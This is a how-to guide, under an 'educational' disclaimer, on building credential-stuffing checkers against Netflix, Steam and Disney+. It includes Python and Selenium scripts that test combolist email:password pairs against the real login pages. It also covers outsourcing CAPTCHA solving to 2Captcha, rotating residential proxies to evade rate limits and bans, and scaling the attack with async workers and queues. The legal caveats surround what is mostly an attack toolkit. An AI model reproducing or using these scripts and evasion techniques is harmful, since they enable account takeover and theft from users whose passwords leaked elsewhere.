In-Depth Guide to Building a Credential Checker for Services like Netflix, Steam, Disney+, and Others
DISCLAIMER:
This guide is purely for educational purposes to explain the technical concepts behind building credential checkers.
Using such tools for unauthorized activities or hacking is illegal, unethical, and violates the terms of service of most platforms. Always ensure that you are acting within legal boundaries and have proper permission before conducting any security testing.
1. Introduction to Credential Stuffing and CheckersCredential stuffing refers to a type of cyberattack where attackers attempt to use stolen or leaked username-password combinations (typically found in a
combolist) to gain unauthorized access to online services. These services include platforms like Netflix, Steam, Disney+, or others, where users log in with email:password pairs. A credential checker is a tool designed to automate the process of checking if a given combination of email and password is valid for a specific service.
Credential stuffing attacks rely on the fact that many users reuse passwords across different websites. If an attacker gets access to a dataset containing valid usernames and passwords from one breach, they can try those credentials on many other services. This can be devastating for users who aren't aware of this practice and don't follow proper password hygiene (e.g., using unique passwords for each platform).
While credential checkers are a common tool for attackers, they are also used in the
ethical hacking community to test the security of accounts with proper authorization. Let’s explore the creation of such checkers from a technical perspective and understand how these tools can be used to automate login attempts for different platforms like Netflix, Steam, and Disney+.
2. Understanding How Credential Checkers WorkA credential checker typically automates the process of testing multiple email:password combinations against an online service’s login system. The basic process can be broken down into several key steps:
- Input Data (Combolist):
The combolist contains pairs of usernames and passwords. This list can either be created manually or acquired from data breaches. The list may be in a
or
format, with each line containing an email:password pair.
- Sending Login Requests:
The tool sends HTTP requests (usually POST requests) to the login endpoint of the target service, passing the email and password data as parameters. For services with a login form, this request mimics the behavior of a real user logging in.
- Handling Responses:
The service will respond with an HTTP status code. Common responses include:- 200 OK: The login attempt was successful.
- 4xx or 5xx Errors: The login attempt failed. Specific error codes help determine why, such as "invalid password," "account locked," or "too many failed attempts."
- Logging Results:
After checking each email:password pair, the checker logs the result. For a successful login, it might display
, while for a failed login, it will show
. The log might also track error responses like IP bans or CAPTCHA challenges.
- Proxies & IP Rotation:
To prevent rate limiting and bans, automated checkers often use rotating proxies. This prevents multiple login attempts from being traced to a single IP address.
3. The Role of HTTP Requests in Credential CheckersAt the core of a credential checker is the ability to simulate a
login attempt by sending an HTTP POST request to the target service. Let's break down the process of making these requests and how they work with authentication systems.
When you submit a login form on a website like Netflix, Steam, or Disney+, you are effectively sending an HTTP POST request to their authentication server. This request contains the credentials you inputted (email and password) and may include additional parameters like user-agent, cookies, or headers to simulate a real browser request.
- Request Structure:
The POST request typically looks like this:
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POST /login HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Content-Length: 59 [email protected]&password=password123
- The Content-Type header indicates the type of data being sent (usually form data).
- User-Agent is often required to simulate a real browser.
- The email and password parameters are included in the body of the request.
- Handling Authentication Tokens:
Services like Steam and Netflix often use additional layers of authentication (e.g., session cookies, CSRF tokens, and headers) to prevent bots. For example, after the first login request, a server might return a session token that needs to be included in subsequent requests.
- Redirection and Authentication Flow:
Many websites use redirects after a successful login to guide the user to a dashboard or home page. The checker needs to follow these redirects to detect successful logins.
4. How Credential Checkers Handle CAPTCHAs and Anti-Bot ProtectionsAs online services become more sophisticated, they implement mechanisms like
CAPTCHAs (Completely Automated Public Turing test to tell Computers and Humans Apart) and
rate-limiting to block credential stuffing attacks. Here’s how these anti-bot protections work and how a checker might interact with them.
CAPTCHAsCAPTCHAs are designed to block automated tools by requiring users to complete challenges that are difficult for bots but easy for humans (e.g., identifying images of traffic lights).
- How CAPTCHAs Work:
When a bot sends a request to log in, the service might respond with a CAPTCHA challenge. This prevents the bot from proceeding unless it can solve the challenge.
- Bypassing CAPTCHAs:
Automated checkers typically cannot bypass CAPTCHAs by themselves. To deal with CAPTCHAs, attackers often use services like 2Captcha or AntiCaptcha, where a human operator manually solves the CAPTCHA in exchange for a fee. Some advanced checkers might use OCR (Optical Character Recognition) libraries to attempt automated CAPTCHA solving, though success rates are low.
Rate Limiting and IP BlockingTo prevent rapid brute force attempts from the same IP address, services often implement rate-limiting. After a certain number of failed login attempts from a single IP, the server will block further attempts for a set time period.
- Using Proxies to Bypass Rate Limiting:
To avoid rate-limiting, credential checkers often use rotating proxies or VPNs. By rotating between different IP addresses, the checker can distribute login attempts across a large pool of IPs to reduce the chances of being blocked.
- Residential Proxies vs. Data Center Proxies:
Residential proxies are IP addresses assigned to real residential ISPs, making them less likely to be flagged as suspicious by the service. Data center proxies, on the other hand, are more easily detected because they originate from data centers and are used by many people simultaneously.
5. Implementing the Checker for Specific Platforms (Netflix, Steam, Disney+)While the core logic of a credential checker is similar across different platforms, each platform has its own login flow and security mechanisms. Let’s break down how to tailor the checker for three popular platforms:
Netflix,
Steam, and
Disney+.
5.1 Creating a Checker for Netflix AccountsNetflix uses standard authentication mechanisms, but it does employ certain protections against credential stuffing, including rate-limiting, CAPTCHA, and security questions.
- Login Flow:
- POST Request to
with email and password.
- If incorrect, the server returns an error message such as “Incorrect password”.
- If successful, the response contains a redirect to the main page, or an authorization token is returned.
- Anti-Bot Protections:
If multiple login attempts are made from the same IP in a short period, Netflix might trigger rate-limiting or CAPTCHA. A rotating proxy setup would help mitigate this.
Example of Basic Netflix Login Checker:
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import requests def check_netflix_login(email, password): login_url = 'https://www.netflix.com/login' headers = {'User-Agent': 'Mozilla/5.0 ...'} data = {'email': email, 'password': password} response = requests.post(login_url, headers=headers, data=data) if "incorrect password" in response.text: print(f"[FAILED] {email}:{password}") elif "Too many attempts" in response.text: print(f"[RATE-LIMITED] {email}:{password}") else: print(f"[SUCCESS] {email}:{password}")
5.2 Creating a Checker for Steam AccountsSteam uses additional security measures like
Steam Guard (two-factor authentication) and
CAPTCHA. To fully automate login attempts, the checker would need to handle Steam Guard codes and potentially bypass CAPTCHAs.
- Login Flow:
- POST Request to
with username and password.
- Steam may return a prompt for a Steam Guard code if 2FA is enabled.
- If successful, the login proceeds, otherwise, a CAPTCHA or rate-limit warning may appear.
- Handling 2FA:
A typical Steam login checker must either:
- Prompt the user to manually input the Steam Guard code.
- Use an API or service that can automatically retrieve the Steam Guard code from the user's email.
Example of Steam Login Checker (Handling 2FA):
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import requests def check_steam_login(username, password, steam_guard_code=None): login_url = 'https://store.steampowered.com/login/' headers = {'User-Agent': 'Mozilla/5.0 ...'} data = {'username': username, 'password': password} if steam_guard_code: data['steam_guard_code'] = steam_guard_code response = requests.post(login_url, headers=headers, data=data) if "Steam Guard" in response.text: print(f"[FAILED - 2FA] {username}:{password}") elif "incorrect password" in response.text: print(f"[FAILED] {username}:{password}") else: print(f"[SUCCESS] {username}:{password}")
5.3 Creating a Checker for Disney+ AccountsDisney+ follows similar login processes to Netflix but with its own anti-bot protections. The login attempt is processed through an authentication service that checks credentials before returning a session token.
- Login Flow:
Similar to Netflix:
- POST Request to
with email and password.
- If the credentials are incorrect, an error message is returned.
- On success, a session token is returned, allowing access to the dashboard.
- Anti-Bot Protections:
Similar to Netflix, Disney+ might trigger CAPTCHA challenges or rate-limiting if too many login attempts are made.
Example of Disney+ Login Checker:
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import requests def check_disneyplus_login(email, password): login_url = 'https://www.disneyplus.com/login' headers = {'User-Agent': 'Mozilla/5.0 ...'} data = {'email': email, 'password': password} response = requests.post(login_url, headers=headers, data=data) if "incorrect password" in response.text: print(f"[FAILED] {email}:{password}") elif "CAPTCHA" in response.text: print(f"[FAILED - CAPTCHA] {email}:{password}") else: print(f"[SUCCESS] {email}:{password}")
6. Ethical Considerations and Legal RisksWhile building a credential checker is technically fascinating,
using these tools for unauthorized access is illegal and unethical. These activities violate the
Computer Fraud and Abuse Act (CFAA) in the United States, the
General Data Protection Regulation (GDPR) in Europe, and other data protection laws globally.
- Ethical Hacking:
Ethical hackers only test systems with explicit authorization. They may be hired by organizations to conduct penetration testing or vulnerability assessments.
- Penalties:
The penalties for engaging in credential stuffing and unauthorized access can be severe, including criminal charges, fines, and imprisonment.
7. ConclusionBuilding a credential checker for services like Netflix, Steam, and Disney+ involves understanding how the login systems work and automating the process of testing multiple email:password combinations. However, it is crucial to use these skills responsibly and within the boundaries of the law. Automated credential stuffing attacks can cause harm to individuals and organizations, and engaging in such activities can result in significant legal consequences.
For those interested in security and programming, ethical hacking is the best avenue for learning and testing your skills. Always ensure that any security research or penetration testing is done with explicit permission.
8. Advanced Techniques and Features in Credential CheckersBuilding a credential checker involves more than simply sending HTTP requests and parsing responses. To create an effective and efficient checker, you must implement advanced techniques, including handling dynamic web elements, utilizing automation tools, dealing with CAPTCHA challenges, and managing data at scale. Let’s explore these concepts in greater detail.
8.1 Handling Dynamic Content with AutomationMost modern websites use dynamic content loading via JavaScript, which complicates the task of building a simple checker using HTTP requests alone. For example, the login page might be heavily reliant on
AJAX (Asynchronous JavaScript and XML) calls to load elements such as input fields, buttons, or error messages dynamically.
For websites that rely on dynamic content, you may need to use a
web automation tool like
Selenium or
Playwright. These tools can control a real browser to perform login actions just like a human would. Here's how they help:
- Rendering JavaScript: Selenium and Playwright can execute JavaScript, so they can load pages, click buttons, and fill in forms in real-time, making them ideal for dealing with JavaScript-heavy websites.
- Handling Cookies & Sessions: Since login sessions are often stored in cookies, an automation tool can help retain session data and pass it between different requests.
Selenium Example for Login:
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from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys import time def check_netflix_with_selenium(email, password): driver = webdriver.Chrome() driver.get('https://www.netflix.com/login') # Wait for page to load time.sleep(2) # Find and fill the email field email_field = driver.find_element(By.ID, 'id_userLoginId') email_field.send_keys(email) # Find and fill the password field password_field = driver.find_element(By.ID, 'id_password') password_field.send_keys(password) # Submit the form password_field.send_keys(Keys.RETURN) # Wait for response and check if login was successful time.sleep(5) if "incorrect password" in driver.page_source: print(f"[FAILED] {email}:{password}") elif "My Account" in driver.page_source: print(f"[SUCCESS] {email}:{password}") else: print(f"[ERROR] {email}:{password}") driver.quit()
This method mimics the process a real user would go through, bypassing challenges like JavaScript rendering and session management, making it more effective than a simple HTTP request-based approach.
8.2 Managing CAPTCHA with 2Captcha ServicesAs mentioned earlier, CAPTCHAs are a significant roadblock for automated checkers. However,
captcha-solving services like
2Captcha and
AntiCaptcha can assist with solving these challenges by outsourcing CAPTCHA resolution to human workers.
These services charge a small fee (typically $1 to $2 per thousand CAPTCHAs) and work by sending the CAPTCHA challenge image to their workers, who then manually solve it. Once solved, the service returns the solution (e.g., the characters to input) to the checker.
While using CAPTCHA-solving services may work for some platforms, it's crucial to be aware of the following:
- Detection of Automation: If a platform detects high volumes of CAPTCHA requests or suspicious activity from a single IP, it may blacklist the IP or flag the account for suspicious activity.
- Ethical Considerations: Even though the services may help bypass CAPTCHAs, using them in a credential-stuffing attack is still unethical and illegal, as the purpose of the CAPTCHA is to protect user privacy.
2Captcha Example:
To integrate a CAPTCHA-solving service like 2Captcha, you need to send the CAPTCHA challenge to the service and receive the solution:
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import requests def solve_captcha(captcha_image_url): api_key = 'your_2captcha_api_key' payload = {'key': api_key, 'method': 'userrecaptcha', 'googlekey': 'your_google_recaptcha_site_key', 'pageurl': 'login_page_url'} response = requests.post('http://2captcha.com/in.php', data=payload) request_id = response.text.split('|')[1] result = None while not result: time.sleep(5) solution = requests.get(f'http://2captcha.com/res.php?key={api_key}&action=get&id={request_id}') if 'CAPCHA_NOT_READY' in solution.text: continue result = solution.text.split('|')[1] return result
After receiving the CAPTCHA solution, you can pass it into the login form, allowing the checker to bypass the CAPTCHA.
8.3 IP Rotation for Avoiding Detection and Rate LimitingAs credential checkers often generate high volumes of requests, services like Netflix, Steam, and Disney+ will typically detect and block suspicious behavior. One of the most effective ways to avoid detection is
IP rotation, which involves changing the source IP address after a set number of requests.
Proxies are essential for this process, as they act as intermediaries between your checker and the target service. There are two primary types of proxies you might use:
- Data Center Proxies: These are fast and inexpensive proxies provided by data centers. They are easy to identify and often get flagged by services because many requests originate from the same location.
- Residential Proxies: These proxies come from real residential IP addresses, which are harder to detect. They are slower and more expensive but are much less likely to be flagged or blocked.
You can use proxy services like
ProxyMesh,
Luminati, or
Smartproxy to integrate residential proxies into your checker. Here's a simple example of using proxies in requests:
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import requests def make_request_with_proxy(url, proxies): response = requests.get(url, proxies=proxies) return response.text # Example of using a rotating proxy service proxies = { 'http': 'http://user:password@proxyserver:port', 'https': 'http://user:password@proxyserver:port' } url = 'https://www.netflix.com/login' response = make_request_with_proxy(url, proxies)
You can also use a proxy
rotation list to change proxies automatically after every set number of requests to ensure that each attempt appears to come from a different user.
8.4 Handling Session ManagementOnce you log in successfully to a service, the website typically establishes a session via
cookies or
tokens to keep the user logged in across multiple requests. It’s crucial for the checker to handle
session management to maintain the authenticated state while interacting with the website.
- Session Cookies: After the first login attempt, the server will often set cookies to identify the user session. A successful checker needs to store these cookies and send them along with subsequent requests to maintain the authenticated session.
- Session Persistence with Requests: In Python, you can use the
object to handle cookies automatically between requests. This way, once the user logs in, the session persists across further attempts without the need to re-enter login credentials.
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import requests def login_and_keep_session(email, password): session = requests.Session() login_url = 'https://www.netflix.com/login' headers = {'User-Agent': 'Mozilla/5.0 ...'} data = {'email': email, 'password': password} # Login request response = session.post(login_url, headers=headers, data=data) # Now session is maintained, and you can make further requests home_url = 'https://www.netflix.com/youraccount' home_page = session.get(home_url) if "My Account" in home_page.text: print(f"[SUCCESS] {email}:{password}") else: print(f"[FAILED] {email}:{password}")
This session management ensures that the checker doesn’t need to re-authenticate for each new request, which speeds up the process.
9. Handling Large Scale Credential CheckingWhen scaling a credential checker, the primary concerns shift from basic functionality to
performance,
error handling, and
data management. Here's how to manage large-scale checkers effectively:
9.1 Performance OptimizationCredential checkers can generate a high number of requests, and as such, it's crucial to optimize their performance. Here are some approaches:
- Asynchronous Requests: Use asynchronous programming (e.g., Python's
and
) to make concurrent requests without waiting for each one to finish. This can drastically reduce execution time when checking thousands of credentials.
- Batching: Instead of checking each combination individually, batch the login attempts into multiple smaller requests to minimize delays between attempts.
- Queueing System: Implement a queuing system (e.g., Celery or RabbitMQ) to distribute tasks across multiple workers. This approach is ideal for massive checkers running across multiple machines.
9.2 Error HandlingWhen scaling up the checker, you’ll encounter various issues such as timeouts, unexpected server responses, or errors due to proxy failures. It’s essential to implement a
robust error handling system that can:
- Retry failed login attempts a set number of times.
- Log errors in a structured way for later debugging.
- Skip blocked IPs or accounts to avoid wasting resources.
9.3 Logging and Data ManagementHandling large amounts of data efficiently is crucial. Ensure that:
- Results are saved in an organized manner (e.g., CSV, JSON, or database), allowing you to track successful logins and analyze the data later.
- Sensitive information like passwords and session tokens is properly encrypted or redacted in logs to avoid potential security issues.
- The checker runs in batches and does not overwhelm the target servers with too many requests at once.
10. Legal Implications and Responsible UseWhile the technical aspects of building a credential checker can be fascinating and educational, it is critical to highlight the
ethical and legal considerations of such tools. Unauthorized use of credential checkers can result in:
- Violation of Terms of Service: Services like Netflix, Steam, and Disney+ explicitly prohibit any form of unauthorized access to their accounts, and using a credential checker is a clear violation.
- Data Privacy Violations: Storing or using stolen credentials can lead to significant privacy issues for users, and depending on the jurisdiction, such actions could be classified as identity theft.
- Penalties and Consequences: Engaging in credential stuffing attacks or using checkers for illicit activities can result in criminal charges, including fraud and hacking-related offenses. Penalties may include fines, imprisonment, or both.
It’s important to stress that
ethical hacking is the only legitimate use for these kinds of tools. Ethical hackers use their skills to improve the security of systems with the explicit consent of the owner. Engaging in penetration testing or vulnerability assessments only when authorized is the responsible path for security researchers.